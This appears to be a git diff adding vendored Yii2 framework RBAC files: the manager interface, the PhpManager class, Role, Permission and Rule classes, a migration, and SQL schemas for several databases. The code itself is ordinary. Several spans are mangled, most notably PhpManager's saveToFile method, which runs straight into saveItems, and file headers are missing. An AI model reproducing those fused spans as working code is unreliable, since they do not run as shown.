/** + * Creates a new Role object. + * Note that the newly created role is not added to the RBAC system yet. + * You must fill in the needed data and call [[add()]] to add it to the system. + * @param string $name the role name + * @return Role the new Role object + */ + public function createRole($name); + + /** + * Creates a new Permission object. + * Note that the newly created permission is not added to the RBAC system yet. + * You must fill in the needed data and call [[add()]] to add it to the system. + * @param string $name the permission name + * @return Permission the new Permission object + */ + public function createPermission($name); + + /** + * Adds a role, permission or rule to the RBAC system. + * @param Role|Permission|Rule $object + * @return boolean whether the role, permission or rule is successfully added to the system + * @throws \Exception if data validation or saving fails (such as the name of the role or permission is not unique) + */ + public function add($object); + + /** + * Removes a role, permission or rule from the RBAC system. + * @param Role|Permission|Rule $object + * @return boolean whether the role, permission or rule is successfully removed + */ + public function remove($object); + + /** + * Updates the specified role, permission or rule in the system. + * @param string $name the old name of the role, permission or rule + * @param Role|Permission|Rule $object + * @return boolean whether the update is successful + * @throws \Exception if data validation or saving fails (such as the name of the role or permission is not unique) + */ + public function update($name, $object); + + /** + * Returns the named role. + * @param string $name the role name. + * @return Role the role corresponding to the specified name. Null is returned if no such role. + */ + public function getRole($name); + + /** + * Returns all roles in the system. + * @return Role[] all roles in the system. The array is indexed by the role names. + */ + public function getRoles(); + + /** + * Returns the roles that are assigned to the user via [[assign()]]. + * Note that child roles that are not assigned directly to the user will not be returned. + * @param string|integer $userId the user ID (see [[\yii\web\User::id]]) + * @return Role[] all roles directly or indirectly assigned to the user. The array is indexed by the role names. + */ + public function getRolesByUser($userId); + + /** + * Returns the named permission. + * @param string $name the permission name. + * @return Permission the permission corresponding to the specified name. Null is returned if no such permission. + */ + public function getPermission($name); + + /** + * Returns all permissions in the system. + * @return Permission[] all permissions in the system. The array is indexed by the permission names. + */ + public function getPermissions(); + + /** + * Returns all permissions that the specified role represents. + * @param string $roleName the role name + * @return Permission[] all permissions that the role represents. The array is indexed by the permission names. + */ + public function getPermissionsByRole($roleName); + + /** + * Returns all permissions that the user has. + * @param string|integer $userId the user ID (see [[\yii\web\User::id]]) + * @return Permission[] all permissions that the user has. The array is indexed by the permission names. + */ + public function getPermissionsByUser($userId); + + /** + * Returns the rule of the specified name. + * @param string $name the rule name + * @return Rule the rule object, or null if the specified name does not correspond to a rule. + */ + public function getRule($name); + + /** + * Returns all rules available in the system. + * @return Rule[] the rules indexed by the rule names + */ + public function getRules(); + + /** + * Adds an item as a child of another item. + * @param Item $parent + * @param Item $child + * @throws \yii\base\Exception if the parent-child relationship already exists or if a loop has been detected. + */ + public function addChild($parent, $child); + + /** + * Removes a child from its parent. + * Note, the child item is not deleted. Only the parent-child relationship is removed. + * @param Item $parent + * @param Item $child + * @return boolean whether the removal is successful + */ + public function removeChild($parent, $child); + + /** + * Removed all children form their parent. + * Note, the children items are not deleted. Only the parent-child relationships are removed. + * @param Item $parent + * @return boolean whether the removal is successful + */ + public function removeChildren($parent); + + /** + * Returns a value indicating whether the child already exists for the parent. + * @param Item $parent + * @param Item $child + * @return boolean whether `$child` is already a child of `$parent` + */ + public function hasChild($parent, $child); + + /** + * Returns the child permissions and/or roles. + * @param string $name the parent name + * @return Item[] the child permissions and/or roles + */ + public function getChildren($name); + + /** + * Assigns a role to a user. + * + * @param Role $role + * @param string|integer $userId the user ID (see [[\yii\web\User::id]]) + * @return Assignment the role assignment information. + * @throws \Exception if the role has already been assigned to the user + */ + public function assign($role, $userId); + + /** + * Revokes a role from a user. + * @param Role $role + * @param string|integer $userId the user ID (see [[\yii\web\User::id]]) + * @return boolean whether the revoking is successful + */ + public function revoke($role, $userId); + + /** + * Revokes all roles from a user. + * @param mixed $userId the user ID (see [[\yii\web\User::id]]) + * @return boolean whether the revoking is successful + */ + public function revokeAll($userId); + + /** + * Returns the assignment information regarding a role and a user. + * @param string|integer $userId the user ID (see [[\yii\web\User::id]]) + * @param string $roleName the role name + * @return Assignment the assignment information. Null is returned if + * the role is not assigned to the user. + */ + public function getAssignment($roleName, $userId); + + /** + * Returns all role assignment information for the specified user. + * @param string|integer $userId the user ID (see [[\yii\web\User::id]]) + * @return Assignment[] the assignments indexed by role names. An empty array will be + * returned if there is no role assigned to the user. + */ + public function getAssignments($userId); + + /** + * Removes all authorization data, including roles, permissions, rules, and assignments. + */ + public function removeAll(); + + /** + * Removes all permissions. + * All parent child relations will be adjusted accordingly. + */ + public function removeAllPermissions(); + + /** + * Removes all roles. + * All parent child relations will be adjusted accordingly. + */ + public function removeAllRoles(); + + /** + * Removes all rules. + * All roles and permissions which have rules will be adjusted accordingly. + */ + public function removeAllRules(); + + /** + * Removes all role assignments. + */ + public function removeAllAssignments(); +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/rbac/Permission.php b/php/yii2/basic/vendor/yiisoft/yii2/rbac/Permission.php new file mode 100644 index 00000000..e004cb6a --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/rbac/Permission.php @@ -0,0 +1,20 @@ + + * @since 2.0 + */ +class Permission extends Item +{ + /** + * @inheritdoc + */ + public $type = self::TYPE_PERMISSION; +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/rbac/PhpManager.php b/php/yii2/basic/vendor/yiisoft/yii2/rbac/PhpManager.php new file mode 100644 index 00000000..108926ea --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/rbac/PhpManager.php @@ -0,0 +1,769 @@ + + * @author Alexander Kochetov + * @author Christophe Boulain + * @author Alexander Makarov + * @since 2.0 + */ +class PhpManager extends BaseManager +{ + /** + * @var string the path of the PHP script that contains the authorization items. + * This can be either a file path or a path alias to the file. + * Make sure this file is writable by the Web server process if the authorization needs to be changed online. + * @see loadFromFile() + * @see saveToFile() + */ + public $itemFile = '@app/rbac/items.php'; + /** + * @var string the path of the PHP script that contains the authorization assignments. + * This can be either a file path or a path alias to the file. + * Make sure this file is writable by the Web server process if the authorization needs to be changed online. + * @see loadFromFile() + * @see saveToFile() + */ + public $assignmentFile = '@app/rbac/assignments.php'; + /** + * @var string the path of the PHP script that contains the authorization rules. + * This can be either a file path or a path alias to the file. + * Make sure this file is writable by the Web server process if the authorization needs to be changed online. + * @see loadFromFile() + * @see saveToFile() + */ + public $ruleFile = '@app/rbac/rules.php'; + + /** + * @var Item[] + */ + protected $items = []; // itemName => item + /** + * @var array + */ + protected $children = []; // itemName, childName => child + /** + * @var array + */ + protected $assignments = []; // userId, itemName => assignment + /** + * @var Rule[] + */ + protected $rules = []; // ruleName => rule + + + /** + * Initializes the application component. + * This method overrides parent implementation by loading the authorization data + * from PHP script. + */ + public function init() + { + parent::init(); + $this->itemFile = Yii::getAlias($this->itemFile); + $this->assignmentFile = Yii::getAlias($this->assignmentFile); + $this->ruleFile = Yii::getAlias($this->ruleFile); + $this->load(); + } + + /** + * @inheritdoc + */ + public function checkAccess($userId, $permissionName, $params = []) + { + $assignments = $this->getAssignments($userId); + return $this->checkAccessRecursive($userId, $permissionName, $params, $assignments); + } + + /** + * @inheritdoc + */ + public function getAssignments($userId) + { + return isset($this->assignments[$userId]) ? $this->assignments[$userId] : []; + } + + /** + * Performs access check for the specified user. + * This method is internally called by [[checkAccess()]]. + * + * @param string|integer $user the user ID. This should can be either an integer or a string representing + * the unique identifier of a user. See [[\yii\web\User::id]]. + * @param string $itemName the name of the operation that need access check + * @param array $params name-value pairs that would be passed to rules associated + * with the tasks and roles assigned to the user. A param with name 'user' is added to this array, + * which holds the value of `$userId`. + * @param Assignment[] $assignments the assignments to the specified user + * @return boolean whether the operations can be performed by the user. + */ + protected function checkAccessRecursive($user, $itemName, $params, $assignments) + { + if (!isset($this->items[$itemName])) { + return false; + } + + /* @var $item Item */ + $item = $this->items[$itemName]; + Yii::trace($item instanceof Role ? "Checking role: $itemName" : "Checking permission : $itemName", __METHOD__); + + if (!$this->executeRule($user, $item, $params)) { + return false; + } + + if (isset($assignments[$itemName]) || in_array($itemName, $this->defaultRoles)) { + return true; + } + + foreach ($this->children as $parentName => $children) { + if (isset($children[$itemName]) && $this->checkAccessRecursive($user, $parentName, $params, $assignments)) { + return true; + } + } + + return false; + } + + /** + * @inheritdoc + */ + public function addChild($parent, $child) + { + if (!isset($this->items[$parent->name], $this->items[$child->name])) { + throw new InvalidParamException("Either '{$parent->name}' or '{$child->name}' does not exist."); + } + + if ($parent->name == $child->name) { + throw new InvalidParamException("Cannot add '{$parent->name} ' as a child of itself."); + } + if ($parent instanceof Permission && $child instanceof Role) { + throw new InvalidParamException("Cannot add a role as a child of a permission."); + } + + if ($this->detectLoop($parent, $child)) { + throw new InvalidCallException("Cannot add '{$child->name}' as a child of '{$parent->name}'. A loop has been detected."); + } + if (isset($this->children[$parent->name][$child->name])) { + throw new InvalidCallException("The item '{$parent->name}' already has a child '{$child->name}'."); + } + $this->children[$parent->name][$child->name] = $this->items[$child->name]; + $this->saveItems(); + + return true; + } + + /** + * Checks whether there is a loop in the authorization item hierarchy. + * + * @param Item $parent parent item + * @param Item $child the child item that is to be added to the hierarchy + * @return boolean whether a loop exists + */ + protected function detectLoop($parent, $child) + { + if ($child->name === $parent->name) { + return true; + } + if (!isset($this->children[$child->name], $this->items[$parent->name])) { + return false; + } + foreach ($this->children[$child->name] as $grandchild) { + /* @var $grandchild Item */ + if ($this->detectLoop($parent, $grandchild)) { + return true; + } + } + + return false; + } + + /** + * @inheritdoc + */ + public function removeChild($parent, $child) + { + if (isset($this->children[$parent->name][$child->name])) { + unset($this->children[$parent->name][$child->name]); + $this->saveItems(); + return true; + } else { + return false; + } + } + + /** + * @inheritdoc + */ + public function removeChildren($parent) + { + if (isset($this->children[$parent->name])) { + unset($this->children[$parent->name]); + $this->saveItems(); + return true; + } else { + return false; + } + } + + /** + * @inheritdoc + */ + public function hasChild($parent, $child) + { + return isset($this->children[$parent->name][$child->name]); + } + + /** + * @inheritdoc + */ + public function assign($role, $userId) + { + if (!isset($this->items[$role->name])) { + throw new InvalidParamException("Unknown role '{$role->name}'."); + } elseif (isset($this->assignments[$userId][$role->name])) { + throw new InvalidParamException("Authorization item '{$role->name}' has already been assigned to user '$userId'."); + } else { + $this->assignments[$userId][$role->name] = new Assignment([ + 'userId' => $userId, + 'roleName' => $role->name, + 'createdAt' => time(), + ]); + $this->saveAssignments(); + return $this->assignments[$userId][$role->name]; + } + } + + /** + * @inheritdoc + */ + public function revoke($role, $userId) + { + if (isset($this->assignments[$userId][$role->name])) { + unset($this->assignments[$userId][$role->name]); + $this->saveAssignments(); + return true; + } else { + return false; + } + } + + /** + * @inheritdoc + */ + public function revokeAll($userId) + { + if (isset($this->assignments[$userId]) && is_array($this->assignments[$userId])) { + foreach ($this->assignments[$userId] as $itemName => $value) { + unset($this->assignments[$userId][$itemName]); + } + $this->saveAssignments(); + return true; + } else { + return false; + } + } + + /** + * @inheritdoc + */ + public function getAssignment($roleName, $userId) + { + return isset($this->assignments[$userId][$roleName]) ? $this->assignments[$userId][$roleName] : null; + } + + /** + * @inheritdoc + */ + public function getItems($type) + { + $items = []; + + foreach ($this->items as $name => $item) { + /* @var $item Item */ + if ($item->type == $type) { + $items[$name] = $item; + } + } + + return $items; + } + + + /** + * @inheritdoc + */ + public function removeItem($item) + { + if (isset($this->items[$item->name])) { + foreach ($this->children as &$children) { + unset($children[$item->name]); + } + foreach ($this->assignments as &$assignments) { + unset($assignments[$item->name]); + } + unset($this->items[$item->name]); + $this->saveItems(); + return true; + } else { + return false; + } + } + + /** + * @inheritdoc + */ + public function getItem($name) + { + return isset($this->items[$name]) ? $this->items[$name] : null; + } + + /** + * @inheritdoc + */ + public function updateRule($name, $rule) + { + if ($rule->name !== $name) { + unset($this->rules[$name]); + } + $this->rules[$rule->name] = $rule; + $this->saveRules(); + return true; + } + + /** + * @inheritdoc + */ + public function getRule($name) + { + return isset($this->rules[$name]) ? $this->rules[$name] : null; + } + + /** + * @inheritdoc + */ + public function getRules() + { + return $this->rules; + } + + /** + * @inheritdoc + */ + public function getRolesByUser($userId) + { + $roles = []; + foreach ($this->getAssignments($userId) as $name => $assignment) { + $roles[$name] = $this->items[$assignment->roleName]; + } + + return $roles; + } + + /** + * @inheritdoc + */ + public function getPermissionsByRole($roleName) + { + $result = []; + $this->getChildrenRecursive($roleName, $result); + if (empty($result)) { + return []; + } + $permissions = []; + foreach (array_keys($result) as $itemName) { + if (isset($this->items[$itemName]) && $this->items[$itemName] instanceof Permission) { + $permissions[$itemName] = $this->items[$itemName]; + } + } + return $permissions; + } + + /** + * Recursively finds all children and grand children of the specified item. + * + * @param string $name the name of the item whose children are to be looked for. + * @param array $result the children and grand children (in array keys) + */ + protected function getChildrenRecursive($name, &$result) + { + if (isset($this->children[$name])) { + foreach ($this->children[$name] as $child) { + $result[$child->name] = true; + $this->getChildrenRecursive($child->name, $result); + } + } + } + + /** + * @inheritdoc + */ + public function getPermissionsByUser($userId) + { + $assignments = $this->getAssignments($userId); + $result = []; + foreach (array_keys($assignments) as $roleName) { + $this->getChildrenRecursive($roleName, $result); + } + + if (empty($result)) { + return []; + } + + $permissions = []; + foreach (array_keys($result) as $itemName) { + if (isset($this->items[$itemName]) && $this->items[$itemName] instanceof Permission) { + $permissions[$itemName] = $this->items[$itemName]; + } + } + return $permissions; + } + + /** + * @inheritdoc + */ + public function getChildren($name) + { + return isset($this->children[$name]) ? $this->children[$name] : []; + } + + /** + * @inheritdoc + */ + public function removeAll() + { + $this->children = []; + $this->items = []; + $this->assignments = []; + $this->rules = []; + $this->save(); + } + + /** + * @inheritdoc + */ + public function removeAllPermissions() + { + $this->removeAllItems(Item::TYPE_PERMISSION); + } + + /** + * @inheritdoc + */ + public function removeAllRoles() + { + $this->removeAllItems(Item::TYPE_ROLE); + } + + /** + * Removes all auth items of the specified type. + * @param integer $type the auth item type (either Item::TYPE_PERMISSION or Item::TYPE_ROLE) + */ + protected function removeAllItems($type) + { + $names = []; + foreach ($this->items as $name => $item) { + if ($item->type == $type) { + unset($this->items[$name]); + $names[$name] = true; + } + } + if (empty($names)) { + return; + } + + foreach ($this->assignments as $i => $assignment) { + if (isset($names[$assignment->roleName])) { + unset($this->assignments[$i]); + } + } + foreach ($this->children as $name => $children) { + if (isset($names[$name])) { + unset($this->children[$name]); + } else { + foreach ($children as $childName => $item) { + if (isset($names[$childName])) { + unset($children[$childName]); + } + } + $this->children[$name] = $children; + } + } + + $this->saveItems(); + } + + /** + * @inheritdoc + */ + public function removeAllRules() + { + foreach ($this->items as $item) { + $item->ruleName = null; + } + $this->rules = []; + $this->saveRules(); + } + + /** + * @inheritdoc + */ + public function removeAllAssignments() + { + $this->assignments = []; + $this->saveAssignments(); + } + + /** + * @inheritdoc + */ + protected function removeRule($rule) + { + if (isset($this->rules[$rule->name])) { + unset($this->rules[$rule->name]); + foreach ($this->items as $item) { + if ($item->ruleName === $rule->name) { + $item->ruleName = null; + } + } + $this->saveRules(); + return true; + } else { + return false; + } + } + + /** + * @inheritdoc + */ + protected function addRule($rule) + { + $this->rules[$rule->name] = $rule; + $this->saveRules(); + return true; + } + + /** + * @inheritdoc + */ + protected function updateItem($name, $item) + { + $this->items[$item->name] = $item; + if ($name !== $item->name) { + if (isset($this->items[$item->name])) { + throw new InvalidParamException("Unable to change the item name. The name '{$item->name}' is already used by another item."); + } + if (isset($this->items[$name])) { + unset ($this->items[$name]); + + if (isset($this->children[$name])) { + $this->children[$item->name] = $this->children[$name]; + unset ($this->children[$name]); + } + foreach ($this->children as &$children) { + if (isset($children[$name])) { + $children[$item->name] = $children[$name]; + unset ($children[$name]); + } + } + foreach ($this->assignments as &$assignments) { + if (isset($assignments[$name])) { + $assignments[$item->name] = $assignments[$name]; + unset($assignments[$name]); + } + } + } + } + $this->saveItems(); + return true; + } + + /** + * @inheritdoc + */ + protected function addItem($item) + { + $time = time(); + if ($item->createdAt === null) { + $item->createdAt = $time; + } + if ($item->updatedAt === null) { + $item->updatedAt = $time; + } + + $this->items[$item->name] = $item; + + $this->saveItems(); + + return true; + + } + + /** + * Loads authorization data from persistent storage. + */ + protected function load() + { + $this->children = []; + $this->rules = []; + $this->assignments = []; + $this->items = []; + + $items = $this->loadFromFile($this->itemFile); + $itemsMtime = @filemtime($this->itemFile); + $assignments = $this->loadFromFile($this->assignmentFile); + $assignmentsMtime = @filemtime($this->assignmentFile); + $rules = $this->loadFromFile($this->ruleFile); + + foreach ($items as $name => $item) { + $class = $item['type'] == Item::TYPE_PERMISSION ? Permission::className() : Role::className(); + + $this->items[$name] = new $class([ + 'name' => $name, + 'description' => isset($item['description']) ? $item['description'] : null, + 'ruleName' => isset($item['ruleName']) ? $item['ruleName'] : null, + 'data' => isset($item['data']) ? $item['data'] : null, + 'createdAt' => $itemsMtime, + 'updatedAt' => $itemsMtime, + ]); + } + + foreach ($items as $name => $item) { + if (isset($item['children'])) { + foreach ($item['children'] as $childName) { + if (isset($this->items[$childName])) { + $this->children[$name][$childName] = $this->items[$childName]; + } + } + } + } + + foreach ($assignments as $userId => $roles) { + foreach ($roles as $role) { + $this->assignments[$userId][$role] = new Assignment([ + 'userId' => $userId, + 'roleName' => $role, + 'createdAt' => $assignmentsMtime, + ]); + } + } + + foreach ($rules as $name => $ruleData) { + $this->rules[$name] = unserialize($ruleData); + } + } + + /** + * Saves authorization data into persistent storage. + */ + protected function save() + { + $this->saveItems(); + $this->saveAssignments(); + $this->saveRules(); + } + + /** + * Loads the authorization data from a PHP script file. + * + * @param string $file the file path. + * @return array the authorization data + * @see saveToFile() + */ + protected function loadFromFile($file) + { + if (is_file($file)) { + return require($file); + } else { + return []; + } + } + + /** + * Saves the authorization data to a PHP script file. + * + * @param array $data the authorization data + * @param string $file the file path. + * @see loadFromFile() + */ + protected function saveToFile($data, $file) + { + file_put_contents($file, "items as $name => $item) { + /* @var $item Item */ + $items[$name] = array_filter( + [ + 'type' => $item->type, + 'description' => $item->description, + 'ruleName' => $item->ruleName, + 'data' => $item->data, + ] + ); + if (isset($this->children[$name])) { + foreach ($this->children[$name] as $child) { + /* @var $child Item */ + $items[$name]['children'][] = $child->name; + } + } + } + $this->saveToFile($items, $this->itemFile); + } + + /** + * Saves assignments data into persistent storage. + */ + protected function saveAssignments() + { + $assignmentData = []; + foreach ($this->assignments as $userId => $assignments) { + foreach ($assignments as $name => $assignment) { + /* @var $assignment Assignment */ + $assignmentData[$userId][] = $assignment->roleName; + } + } + $this->saveToFile($assignmentData, $this->assignmentFile); + } + + /** + * Saves rules data into persistent storage. + */ + protected function saveRules() + { + $rules = []; + foreach ($this->rules as $name => $rule) { + $rules[$name] = serialize($rule); + } + $this->saveToFile($rules, $this->ruleFile); + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/rbac/Role.php b/php/yii2/basic/vendor/yiisoft/yii2/rbac/Role.php new file mode 100644 index 00000000..0538789c --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/rbac/Role.php @@ -0,0 +1,20 @@ + + * @since 2.0 + */ +class Role extends Item +{ + /** + * @inheritdoc + */ + public $type = self::TYPE_ROLE; +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/rbac/Rule.php b/php/yii2/basic/vendor/yiisoft/yii2/rbac/Rule.php new file mode 100644 index 00000000..55936ff9 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/rbac/Rule.php @@ -0,0 +1,44 @@ + + * @since 2.0 + */ +abstract class Rule extends Object +{ + /** + * @var string name of the rule + */ + public $name; + /** + * @var integer UNIX timestamp representing the rule creation time + */ + public $createdAt; + /** + * @var integer UNIX timestamp representing the rule updating time + */ + public $updatedAt; + + + /** + * Executes the rule. + * + * @param string|integer $user the user ID. This should be either an integer or a string representing + * the unique identifier of a user. See [[\yii\web\User::id]]. + * @param Item $item the role or permission that this rule is associated with + * @param array $params parameters passed to [[ManagerInterface::checkAccess()]]. + * @return boolean a value indicating whether the rule permits the auth item it is associated with. + */ + abstract public function execute($user, $item, $params); +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/rbac/migrations/m140506_102106_rbac_init.php b/php/yii2/basic/vendor/yiisoft/yii2/rbac/migrations/m140506_102106_rbac_init.php new file mode 100644 index 00000000..0bc96a19 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/rbac/migrations/m140506_102106_rbac_init.php @@ -0,0 +1,90 @@ + + * @since 2.0 + */ +class m140506_102106_rbac_init extends \yii\db\Migration +{ + /** + * @throws yii\base\InvalidConfigException + * @return DbManager + */ + protected function getAuthManager() + { + $authManager = Yii::$app->getAuthManager(); + if (!$authManager instanceof DbManager) { + throw new InvalidConfigException('You should configure "authManager" component to use database before executing this migration.'); + } + return $authManager; + } + + public function up() + { + $authManager = $this->getAuthManager(); + + $tableOptions = null; + if ($this->db->driverName === 'mysql') { + // http://stackoverflow.com/questions/766809/whats-the-difference-between-utf8-general-ci-and-utf8-unicode-ci + $tableOptions = 'CHARACTER SET utf8 COLLATE utf8_unicode_ci ENGINE=InnoDB'; + } + + $this->createTable($authManager->ruleTable, [ + 'name' => Schema::TYPE_STRING . '(64) NOT NULL', + 'data' => Schema::TYPE_TEXT, + 'created_at' => Schema::TYPE_INTEGER, + 'updated_at' => Schema::TYPE_INTEGER, + 'PRIMARY KEY (name)', + ], $tableOptions); + + $this->createTable($authManager->itemTable, [ + 'name' => Schema::TYPE_STRING . '(64) NOT NULL', + 'type' => Schema::TYPE_INTEGER . ' NOT NULL', + 'description' => Schema::TYPE_TEXT, + 'rule_name' => Schema::TYPE_STRING . '(64)', + 'data' => Schema::TYPE_TEXT, + 'created_at' => Schema::TYPE_INTEGER, + 'updated_at' => Schema::TYPE_INTEGER, + 'PRIMARY KEY (name)', + 'FOREIGN KEY (rule_name) REFERENCES ' . $authManager->ruleTable . ' (name) ON DELETE SET NULL ON UPDATE CASCADE', + ], $tableOptions); + $this->createIndex('idx-auth_item-type', $authManager->itemTable, 'type'); + + $this->createTable($authManager->itemChildTable, [ + 'parent' => Schema::TYPE_STRING . '(64) NOT NULL', + 'child' => Schema::TYPE_STRING . '(64) NOT NULL', + 'PRIMARY KEY (parent, child)', + 'FOREIGN KEY (parent) REFERENCES ' . $authManager->itemTable . ' (name) ON DELETE CASCADE ON UPDATE CASCADE', + 'FOREIGN KEY (child) REFERENCES ' . $authManager->itemTable . ' (name) ON DELETE CASCADE ON UPDATE CASCADE', + ], $tableOptions); + + $this->createTable($authManager->assignmentTable, [ + 'item_name' => Schema::TYPE_STRING . '(64) NOT NULL', + 'user_id' => Schema::TYPE_STRING . '(64) NOT NULL', + 'created_at' => Schema::TYPE_INTEGER, + 'PRIMARY KEY (item_name, user_id)', + 'FOREIGN KEY (item_name) REFERENCES ' . $authManager->itemTable . ' (name) ON DELETE CASCADE ON UPDATE CASCADE', + ], $tableOptions); + } + + public function down() + { + $authManager = $this->getAuthManager(); + + $this->dropTable($authManager->assignmentTable); + $this->dropTable($authManager->itemChildTable); + $this->dropTable($authManager->itemTable); + $this->dropTable($authManager->ruleTable); + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/rbac/migrations/schema-mssql.sql b/php/yii2/basic/vendor/yiisoft/yii2/rbac/migrations/schema-mssql.sql new file mode 100644 index 00000000..5e1596f8 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/rbac/migrations/schema-mssql.sql @@ -0,0 +1,57 @@ +/** + * Database schema required by \yii\rbac\DbManager. + * + * @author Qiang Xue + * @author Alexander Kochetov + * @link http://www.yiiframework.com/ + * @copyright 2008 Yii Software LLC + * @license http://www.yiiframework.com/license/ + * @since 2.0 + */ + +drop table [auth_assignment]; +drop table [auth_item_child]; +drop table [auth_item]; +drop table [auth_rule]; + +create table [auth_rule] +( + [name] varchar(64) not null, + [data] text, + [created_at] integer, + [updated_at] integer, + primary key ([name]) +); + +create table [auth_item] +( + [name] varchar(64) not null, + [type] integer not null, + [description] text, + [rule_name] varchar(64), + [data] text, + [created_at] integer, + [updated_at] integer, + primary key ([name]), + foreign key ([rule_name]) references [auth_rule] ([name]) on delete set null on update cascade +); + +create index [idx-auth_item-type] on [auth_item] ([type]); + +create table [auth_item_child] +( + [parent] varchar(64) not null, + [child] varchar(64) not null, + primary key ([parent],[child]), + foreign key ([parent]) references [auth_item] ([name]) on delete cascade on update cascade, + foreign key ([child]) references [auth_item] ([name]) on delete cascade on update cascade +); + +create table [auth_assignment] +( + [item_name] varchar(64) not null, + [user_id] varchar(64) not null, + [created_at] integer, + primary key ([item_name], [user_id]), + foreign key ([item_name]) references [auth_item] ([name]) on delete cascade on update cascade +); diff --git a/php/yii2/basic/vendor/yiisoft/yii2/rbac/migrations/schema-mysql.sql b/php/yii2/basic/vendor/yiisoft/yii2/rbac/migrations/schema-mysql.sql new file mode 100644 index 00000000..1a44a789 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/rbac/migrations/schema-mysql.sql @@ -0,0 +1,56 @@ +/** + * Database schema required by \yii\rbac\DbManager. + * + * @author Qiang Xue + * @author Alexander Kochetov + * @link http://www.yiiframework.com/ + * @copyright 2008 Yii Software LLC + * @license http://www.yiiframework.com/license/ + * @since 2.0 + */ + +drop table if exists `auth_assignment`; +drop table if exists `auth_item_child`; +drop table if exists `auth_item`; +drop table if exists `auth_rule`; + +create table `auth_rule` +( + `name` varchar(64) not null, + `data` text, + `created_at` integer, + `updated_at` integer, + primary key (`name`) +) engine InnoDB; + +create table `auth_item` +( + `name` varchar(64) not null, + `type` integer not null, + `description` text, + `rule_name` varchar(64), + `data` text, + `created_at` integer, + `updated_at` integer, + primary key (`name`), + foreign key (`rule_name`) references `auth_rule` (`name`) on delete set null on update cascade, + key `type` (`type`) +) engine InnoDB; + +create table `auth_item_child` +( + `parent` varchar(64) not null, + `child` varchar(64) not null, + primary key (`parent`, `child`), + foreign key (`parent`) references `auth_item` (`name`) on delete cascade on update cascade, + foreign key (`child`) references `auth_item` (`name`) on delete cascade on update cascade +) engine InnoDB; + +create table `auth_assignment` +( + `item_name` varchar(64) not null, + `user_id` varchar(64) not null, + `created_at` integer, + primary key (`item_name`, `user_id`), + foreign key (`item_name`) references `auth_item` (`name`) on delete cascade on update cascade +) engine InnoDB; diff --git a/php/yii2/basic/vendor/yiisoft/yii2/rbac/migrations/schema-oci.sql b/php/yii2/basic/vendor/yiisoft/yii2/rbac/migrations/schema-oci.sql new file mode 100644 index 00000000..44fca9ec --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/rbac/migrations/schema-oci.sql @@ -0,0 +1,56 @@ +/** + * Database schema required by \yii\rbac\DbManager. + * + * @author Qiang Xue + * @author Alexander Kochetov + * @link http://www.yiiframework.com/ + * @copyright 2008 Yii Software LLC + * @license http://www.yiiframework.com/license/ + * @since 2.0 + */ + +drop table if exists "auth_assignment"; +drop table if exists "auth_item_child"; +drop table if exists "auth_item"; +drop table if exists "auth_rule"; + +create table "auth_rule" +( + "name" varchar(64) not null, + "data" text, + "created_at" integer, + "updated_at" integer, + primary key ("name") +); + +create table "auth_item" +( + "name" varchar(64) not null, + "type" integer not null, + "description" text, + "rule_name" varchar(64), + "data" text, + "created_at" integer, + "updated_at" integer, + primary key ("name"), + foreign key ("rule_name") references "auth_rule" ("name") on delete set null on update cascade, + key "type" ("type") +); + +create table "auth_item_child" +( + "parent" varchar(64) not null, + "child" varchar(64) not null, + primary key ("parent","child"), + foreign key ("parent") references "auth_item" ("name") on delete cascade on update cascade, + foreign key ("child") references "auth_item" ("name") on delete cascade on update cascade +); + +create table "auth_assignment" +( + "item_name" varchar(64) not null, + "user_id" varchar(64) not null, + "created_at" integer, + primary key ("item_name","user_id"), + foreign key ("item_name") references "auth_item" ("name") on delete cascade on update cascade +); diff --git a/php/yii2/basic/vendor/yiisoft/yii2/rbac/migrations/schema-pgsql.sql b/php/yii2/basic/vendor/yiisoft/yii2/rbac/migrations/schema-pgsql.sql new file mode 100644 index 00000000..f2d77a44 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/rbac/migrations/schema-pgsql.sql @@ -0,0 +1,57 @@ +/** + * Database schema required by \yii\rbac\DbManager. + * + * @author Qiang Xue + * @author Alexander Kochetov + * @link http://www.yiiframework.com/ + * @copyright 2008 Yii Software LLC + * @license http://www.yiiframework.com/license/ + * @since 2.0 + */ + +drop table if exists "auth_assignment"; +drop table if exists "auth_item_child"; +drop table if exists "auth_item"; +drop table if exists "auth_rule"; + +create table "auth_rule" +( + "name" varchar(64) not null, + "data" text, + "created_at" integer, + "updated_at" integer, + primary key ("name") +); + +create table "auth_item" +( + "name" varchar(64) not null, + "type" integer not null, + "description" text, + "rule_name" varchar(64), + "data" text, + "created_at" integer, + "updated_at" integer, + primary key ("name"), + foreign key ("rule_name") references "auth_rule" ("name") on delete set null on update cascade +); + +create index auth_item_type_idx on "auth_item" ("type"); + +create table "auth_item_child" +( + "parent" varchar(64) not null, + "child" varchar(64) not null, + primary key ("parent","child"), + foreign key ("parent") references "auth_item" ("name") on delete cascade on update cascade, + foreign key ("child") references "auth_item" ("name") on delete cascade on update cascade +); + +create table "auth_assignment" +( + "item_name" varchar(64) not null, + "user_id" varchar(64) not null, + "created_at" integer, + primary key ("item_name","user_id"), + foreign key ("item_name") references "auth_item" ("name") on delete cascade on update cascade +); diff --git a/php/yii2/basic/vendor/yiisoft/yii2/rbac/migrations/schema-sqlite.sql b/php/yii2/basic/vendor/yiisoft/yii2/rbac/migrations/schema-sqlite.sql new file mode 100644 index 00000000..f494185d --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/rbac/migrations/schema-sqlite.sql @@ -0,0 +1,57 @@ +/** + * Database schema required by \yii\rbac\DbManager. + * + * @author Qiang Xue + * @author Alexander Kochetov + * @link http://www.yiiframework.com/ + * @copyright 2008 Yii Software LLC + * @license http://www.yiiframework.com/license/ + * @since 2.0 + */ + +drop 